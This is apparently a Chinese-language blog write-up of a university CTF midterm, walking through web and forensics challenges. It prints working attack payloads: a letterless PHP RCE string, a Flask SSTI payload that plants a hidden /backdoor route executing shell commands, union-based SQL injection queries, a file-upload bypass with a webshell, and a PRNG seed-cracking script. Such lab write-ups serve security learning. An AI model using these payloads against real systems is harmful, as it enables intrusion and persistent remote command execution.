2025春季学期期中考

WEB

来财

打开环境
image

然后这里直接抓包,随便猜一个数字进去就行了
image
这里看见了check.php的源代码
这里大体读一下
这里开启了session给每一个用户
然后给session从0到999999999里面随机一个种子
然后使用mt_srand函数来随机一串字符串出来
这里需要了解一下伪随机数
伪随机就是看似是散乱的随机数,但其实有一个根种子来做所有随机数的基础
这里需要用到一个软件
php_mt_seed-4.0
这个就是针对这种伪随机数的工具
但是在这之前,我们需要用一个脚本转化一下数据类型,变成工具可以识别的类型

点击查看代码
str1 ='yMVTHinOE2'
str2 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result =''


length = str(len(str2)-1)
for i in range(0,len(str1)):
    for j in range(0,len(str2)):
        if str1[i] ==  str2[j]:
            result += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
            break


print(result)


image

然后使用工具直接解开
先打开文件所在的目录
然后输入指令
time ./php_mt_seed 加刚刚转换的数据
image

这里就得到了种子是68206785
然后再根据这个种子去转化出我们的原来字符串
这里直接去找一个在线工具运行了

点击查看代码
<?php
mt_srand(68206785);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
echo "<p id='p1'>".$str."</p>";
?> 

image

再回去提交一下
image

..RCE

打开环境
image

这里就是一些过滤
还有一个长度限制
这里是无字母的RCE所有直接考虑一下那几种奇形怪状的绕过
但是取反,异或都被过滤了,这里需要用到自增
但是自增哪里都还行,就是太长了,正常直接构造是不行的
肯定会超过字符长度的限制
但是我们可以构造一个超全局数组&_GET这个数组会获取通过url传输的数据然后加进我们的payload里面
这样就可以缩短一部分字符
这里把payload给出来
$_=[]._;$__=$_[1];$_=$_[0];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__;$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
这里来详细解释一下这串自增的payload
显示创造了一个空数组在php里面空数组是Array
设置变量$__为r $_为A
然后这里先解释一下前置自增和后置自增的区别
前置自增就是先自增,然后返回新值
后置自增就是先返回旧值,再自增
$_自增为B然后再自增为C,但是因为这里$_1需要用到C所有用到前置自增
最后依此构造最后的$_是Chr
在php里面函数名不分大小写,这里用Chr函数来获得GET数组
chr就是将ASCLL值转换成对应的字符
然后再将$_赋值为_GET
然后就构造出$_GET1
当我们在url传参时候实际上就是
?1=system&2=ls system=('ls')
所有这里直接传了
image

看上一级目录
image

直接cat
image

Py website

打开环境
image
这里因为这个环境问题,直接提交他没有回显
只能自己抓包
然后发送的参数在网页源代码里也有
image
这里发送了看一下
image
是可以的
这里先爆破一下,这里是无回显的ssti
先看下过滤
image
但是实际使用下来. 也是不行这里要换一个爆破方法
把内容框在{{}}里爆破
image
不是演都不演了???
这里后面才知道是没有过滤的,我自己给自己加难度
直接使用内存马
{{lipsum.__globals__.__builtins__.eval('[ __import__(\'time\').sleep(3) for flask in [__import__("flask")] for app in __import__("gc").get_objects() if type(app) == flask.Flask for jinja_globals in [app.jinja_env.globals] for backdoor in [ lambda : __import__(\'os\').popen(jinja_globals["request"].args.get("cmd", "id")).read() ] if [ app.__dict__.update({\'_got_first_request\':False}), app.add_url_rule("/backdoor", endpoint="backdoor", view_func=backdoor) ] ]')}}
这里需要再编码一下不然会格式错误
image
直接看目录
image
cat
image

ez_SQL

打开环境
image

这个界面一看就是二次注入
这里之前就尝试过了
数据库里应该是没有用户数据,弱口令不是
这里注册一个看看
image

随便输一个看看
image
image

这里的特殊字符会被转义
应该就是二次注入了
这里简单说一下二次注入的原理
我们注册的数据存在数据库中,就不会再检测,他会认为是正确的信息
然后就不会管,我们就可以和平时的sql一样进行
这里注册两个,一个是admin一个是admin'#
admin
image
image

这俩都是一样的界面,说明这里注入成功了
之后就直接正常的注入
就只是多了一个注册的步骤而已
并且不用查列
爆库
1' union select database()#
image
爆表
1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'#
image
爆字段
1' union select group_concat(column_name) from information_schema.columns where table_name='flag'#
image
爆字段内容
1' union select flag from flag#
image

粉粉的🐎

打开环境,还有一个附件
image
这个就是我们上传的php源码
这里要重点了解一个函数
move_uploaded_file()有一个特性
他会自动删掉末尾的/.
再加上最后的文件路径是我们可以控制的
image
image
最后构造出来的路径就是uploads/name
name就是我们传参的东西
所以我们可以直接将1.php构造在文件路径里,就不会被当作后缀来识别
直接抓包
image
直接访问这个网址
image
直接传参
image
image
查看上一级目录
image
直接cat
image

MISC

FZ

下载附件使用wireshark打开
查看下
image
这里可以看见全部是TCP协议
所以应该是进行了文件的传输
这里介绍一下里面的东西
image
SYN SYN+ACK ACK是TCP三次握手用来进行客户端与服务端的连接
具体的参数这里也没有过多的了解,先大体了解一下
客户端发起连接,服务端确认和发起连接,客户端确认
这样可以保证双向同信
PSH要求接收方立即将数据提交给应用层(如HTTP服务),而不是等待缓冲区填满,减少数据传输延迟。
FIN是关闭连接
TCP里还有一个四次挥手
客户端发起关闭,服务端确认,服务端发起关闭,客户端确认
所以这里大致可以推断我们需要的数据存在PSH,ACK里面
这里直接看
image

看见flag.txt了,直接去追踪流
image
发现有一个压缩包,密码是supercomplexpassword
直接使用foremost来提取文件
image
输入密码来解压一下
image

谍影重重plus

下载附件之后,直接先把hint压缩包丢给随波逐流
image
这里可以直接无视伪加密
然后我们直接去解压
image
打开后里面有个txt文本
image
这里看着就是零宽字符隐写
image
直接去网上找工具来做
image
这里可以看到我们解压之后就是这样一串
Yunxi??????ixnuY
这一串就是密码但是中间里面的?就是我们要爆破的内容
里面包含了大小写,字符,数字这样爆破的全
这里直接奉上脚本

点击查看代码
import itertools
import string

def generate_symmetric_passwords():
    # 扩展字符集:大小写字母 + 数字 + 符号
    chars = string.ascii_letters + string.digits + string.punctuation
    
    with open('passwords.txt', 'w', encoding='utf-8') as file:
        for prefix in itertools.product(chars, repeat=3):
            prefix_str = ''.join(prefix)
            symmetric_part = prefix_str + prefix_str[::-1]
            password = f"Yunxi{symmetric_part}ixnuY"
            file.write(password + '\n')

if __name__ == "__main__":
    generate_symmetric_passwords()
    print("密码字典已生成到 passwords.txt 文件")
然后使用工具进行字典爆破

image
得到了密码
直接去解压
Yunxi8W==W8ixnuY
image
这里终于是得到这张图片了
这里要要用到工具steghide
直接来提取文件
但是需要密码
这个时候我们得去Yunxi.zip里面找
托去010里
image
直接就是最后那个
提取flag
image
image

GK

这里使用wireshark打开看一下
image
这里看见了一个特殊的协议
IEC那一串
这个就是工控流量的协议
直接去搜过滤器
image
这里把文章贴出来
https://blog.csdn.net/song123sh/article/details/128388201
直接过滤一手
image
对于工控来说,要重点注意IOA攻击行为模式
这里按照时间排列一下
image
这里看见了{我们跟着手打一下看看
image
是一个base64直接解码
image

ez签到 1.0版

打开环境
image
随便输入一个1
image
简单的rce直接ls
abc.php?YX=ls
image
就是一个压缩包,那个flag是假的
直接下载下来
http://172.16.17.201:50065/20241228_200851babyupload.zip
先解压一下
image
里面有两张照片
第一张直接提取盲水印
image
熟悉的wlgf2025yyds
直接就是steghide
image
这里不行,尝试了一下oursecret也不行
这里提示是像素圣战
直接搜可以看见我们之前做的isctf的题目
直接解开
image

ez签到 2.0版

打开环境
image
这看着像文件上传欸
先看下网页源码
没啥东西
先上个马看看
image
这里不行,看下.htaccess行不行
image
这也不行
emmmm,结果我发现
这个回显只要上传就有,不是说因为我上传的是php才有,这里就不能上传文件
这里大致区分了一下,只要我后缀有ph就会回显后缀有ph,但是其他不管怎么样回显都是死黑客
所以这题肯定不是文件上传去里面再下载文件
这里直接上传一个.htaccess
这里先把所有的过滤写出来
后缀名过滤ph,MIME过滤,内容过滤php标签
这里直接用html标签来替代php标签
image
image
蚁剑连接
image
看见这个压缩包了
直接下载下来
image
解压一下
image
这个看着好像base64转图片
偶然发现在结尾的时候
image
整串被倒置了,直接换回来
image
直接base64转图片
image

Emoji-aes

下载附件
image
是一个流量包
打开看看
先过滤流量
http.request.method=="POST" or http.response.code==200
先看看长度比较大的包
一般正常来说,响应包的长度会比较大
这里先看下长度大的
image
这些是请求包,所以这里是长度较大的是请求包
这里翻找一下
长度5729时候发现一个key这个是Emojie-AES解码需要的key
image
CTF1s1nter3sting
这里查看下分组字节流
image
可以看见他是执行一个进入目录的一个命令
接着往下翻发现一大堆长串base64
image
提取出来
image
有点像base64但不确定
这里可以观察一下,好像每一个解码的开头都存在8J可以自己数一下
base64是以4个base64字符对应3个字节的原始数据
这里自己数一下很好提取出有效数据
8J+Zg/CfkrXwn4y/8J+OpPCfmqrwn4yP8J+QjvCfpYvwn5qr8J+YhvCfmI3wn5CY8J+PufCfjojwn46I8J+RgfCfkZHwn5aQ8J+QheKYg/Cfmrnwn5OC8J+NjPCfjbXinInwn5iO8J+NjOKEueKYg+KEufCfkZHij6nwn46F8J+OpPCfjoXwn4+O4pyW8J+Mj/Cfk67wn46D8J+OpPCfmrDwn5iH4p2T8J+QhfCfmrnwn5SE8J+RifCfppPwn46k8J+mk+KEueKcifCfjKrwn4yP8J+OiPCfjojwn5q58J+Yh/CfkI7wn5W54oS58J+RifCfkqfwn5GR8J+NtPCfjbXimIPijKjimIPwn46F8J+YgPCfppPwn5iN4o+p8J+NtPCfjY3imILwn5GJ8J+NtPCflITwn46F8J+OiPCflKrwn5q58J+Sp/Cfl5Lwn5eS
解码一下
image
就是Emoji符号,直接去解码
🙃💵🌿🎤🚪🌏🐎🥋🚫😆😍🐘🏹🎈🎈👁👑🖐🐅☃🚹📂🍌🍵✉😎🍌ℹ☃ℹ👑⏩🎅🎤🎅🏎✖🌏📮🎃🎤🚰😇❓🐅🚹🔄👉🦓🎤🦓ℹ✉🌪🌏🎈🎈🚹😇🐎🕹ℹ👉💧👑🍴🍵☃⌨☃🎅😀🦓😍⏩🍴🍍☂👉🍴🔄🎅🎈🔪🚹💧🗒🗒
image

posted @ 2025-05-19 09:38  crook666  阅读(57)  评论(0)    收藏  举报